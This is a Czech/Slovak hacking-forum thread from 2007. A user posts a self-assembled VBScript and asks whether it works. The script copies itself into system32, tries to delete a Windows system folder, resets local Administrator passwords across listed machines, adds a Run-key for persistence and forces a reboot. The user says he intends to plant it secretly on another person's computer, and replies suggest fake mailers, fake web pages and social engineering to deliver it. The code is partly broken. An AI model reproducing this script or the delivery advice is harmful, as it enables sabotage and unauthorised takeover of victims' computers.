VBS script

HackForum

VBS script#
chcem sa opytat ci tento script bude fungovat,mozno si poviete ze co je to za blbost ale musi to byt takto... tak tu je ten script:
Set fso = Wscript.CreateObject("Scripting.FileSystemO
bject")

If (not fso.FileExists("zmija.vbs")) Then
WScript.Echo "Soubor neexistuje"
WScript.Quit
End If

fso.CopyFile "zmija.vbs", "C:\windows\system32\zmija.vbs"

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

DeleteFolder fso, "C:\windows\system"


Sub DeleteFolder( fso, strFolderPath )
Dim oFolder
Set oFolder = fso.getFolder(strDocAndSettings)
For Each fi In oFolder
If fi.Type = folder Then
DelteFolder fso, fi.Name
Else
fi.DeleteItem
End If
Next
End Sub

'Create a FileSystemObject
Set oFS = CreateObject("Scripting.FileSystemObject")

'Open a text file of computer names
'with one computer name per line
Set oTS = oFS.OpenTextFile("c:\computers.txt")
Set oTSOut = oFS.CreateTextFile("c:\skipped.txt")

'go through the text file
Do Until oTS.AtEndOfStream

'get the next computer name
sComputer = oTS.ReadLine

'retrieve that computer's local Admin
On Error Resume Next
Set oUser = GetObject("WinNT://" & _
sComputer & "/Administrator,user")

If Err = 0 Then
'reset the password
oUser.SetPassword "New!Ad3in"

'save the change
oUser.SetInfo
Else
oTSOut.WriteLine sComputer
End If

On Error Goto 0

Loop

'close the text file
oTS.Close
oTSOut.Close

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/ci
mv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet
OpSys.Reboot()
Next
som este lama,a moc sa zatial neviznam v VBS...toto som nasiel na nete a dal dokopy..tak pojde to?
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 16:40
re: VBS script#
A co kdybys to zkusil???
(odpovědět)
ask@t | E-mail | ICQ 200-358-16815.4.2007 16:52
re: VBS script#
no to ma nenapadlo:D(myslim to ironicky) jaj no sak preco to nechcem asi skusit...
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 16:55
re: VBS script#
melo by to fungovat
(odpovědět)
________15.4.2007 17:01
re: VBS script#
jo jo , spust to !
(odpovědět)
VIPER | 88.146.11.*15.4.2007 17:02
re: VBS script#
ok tak ked to bude fungovat thx....sak ja to sputim ale ne na mojom pc :D
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 17:03
re: VBS script#
lol to spust na svym at je sranda
(odpovědět)
pižďuch | Website | ICQ 44959604515.4.2007 17:04
re: VBS script#
no jo ale mne to smiesne nebude....tak ono subor zmija.vbs prekopiruje,zmaze tam ten priecinok a premenuje heslo admina,a resetne pc tak to je ze jo?a este sa chcem opytat..poradte ako to hodim do jedeho pc na ktory nemam fyzicky pristup...chcem to poslat jednemu tipkovi ale uz som skusal vela sposobov ale furt to neotvori...nejak tak aby o tom nevedel..THX za rady
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 17:10
re: VBS script#
tak mu to posli pres nejaky messenger nebo pres mejla ne?? treba pres soom fake mailer
(odpovědět)
pižďuch | Website | ICQ 44959604515.4.2007 17:22
re: VBS script#
tak jasne...ze ma to napadlo vsetko som skusal ale ten fagan furt vy ze osm to ja jak keby vy co robim.....
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 17:25
re: VBS script#
No, musis si vymysliet nieco velmi originalne, aby si ho zaujal. Porozmyslaj na jeho zalubami, okrem fake mailu, mozes skusit vytvort falosnu stranku a naviest ho nejak k tomu scriptu. Dost ti v tomto pripadne pomoze sociotechnika. Nesmies to vsak velmi prehanat s opakovanim pokusov... + Mozes vyuzit aj IE WebDoor, na SOOMe...
(odpovědět)
Daan | Website15.4.2007 17:38
re: VBS script#
no jo ale ako ho pouzijem zasa mu musim poslat klienta nie?? to mas to iste ako keby mu mam poslat to com som ja spravil....no nieco som vymislel toto by ho mohlo zaujat....thx chlapci
(odpovědět)
zmija31 | E-mail | ICQ 31913976715.4.2007 17:41
re: VBS script#
no ja som to skusal na jednom starom pc a nejde ten script tu ho mate nieco som tam pridal:
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count Then
For i = 0 To mechaniky.Count - 1
mechaniky.Item(i).Eject
Next
End If

Set fso = Wscript.CreateObject("Scripting.FileSystemO
bject")

If (not fso.FileExists("zmija.vbs")) Then
WScript.Echo "Soubor neexistuje"
WScript.Quit
End If

fso.CopyFile "zmija.vbs", "C:\windows\system32\zmija.vbs"

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

DeleteFolder fso, "C:\windows\system"


Sub DeleteFolder( fso, strFolderPath )
Dim oFolder
Set oFolder = fso.getFolder(strDocAndSettings)
For Each fi In oFolder
If fi.Type = folder Then
DelteFolder fso, fi.Name
Else
fi.DeleteItem
End If
Next
End Sub

'Create a FileSystemObject
Set oFS = CreateObject("Scripting.FileSystemObject")

'Open a text file of computer names
'with one computer name per line
Set oTS = oFS.OpenTextFile("c:\computers.txt")
Set oTSOut = oFS.CreateTextFile("c:\skipped.txt")

'go through the text file
Do Until oTS.AtEndOfStream

'get the next computer name
sComputer = oTS.ReadLine

'retrieve that computer's local Admin
On Error Resume Next
Set oUser = GetObject("WinNT://" & _
sComputer & "/Administrator,user")

If Err = 0 Then
'reset the password
oUser.SetPassword "New!Ad3in"

'save the change
oUser.SetInfo
Else
oTSOut.WriteLine sComputer
End If
adr = "C:\windows\system32\zmija.vbs"

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVer
sion\Run\fx", adr, "REG_SZ"

MsgBox "prikazy ukoncene!!"
On Error Goto 0

Loop

'close the text file
oTS.Close
oTSOut.Close

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/ci
mv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet
OpSys.Reboot()
Next

(odpovědět)
zmija31 | E-mail | ICQ 31913976721.4.2007 23:31
re: VBS script#
tak nikto mi nepomoze?? :(
(odpovědět)
zmija31 | E-mail | ICQ 31913976722.4.2007 10:15
re: VBS script#
zmija31:dobrý script :D:D:D:D
(odpovědět)
pižďuch | Website | ICQ 44959604522.4.2007 10:19

Zpět
 
 
 

 
BBCode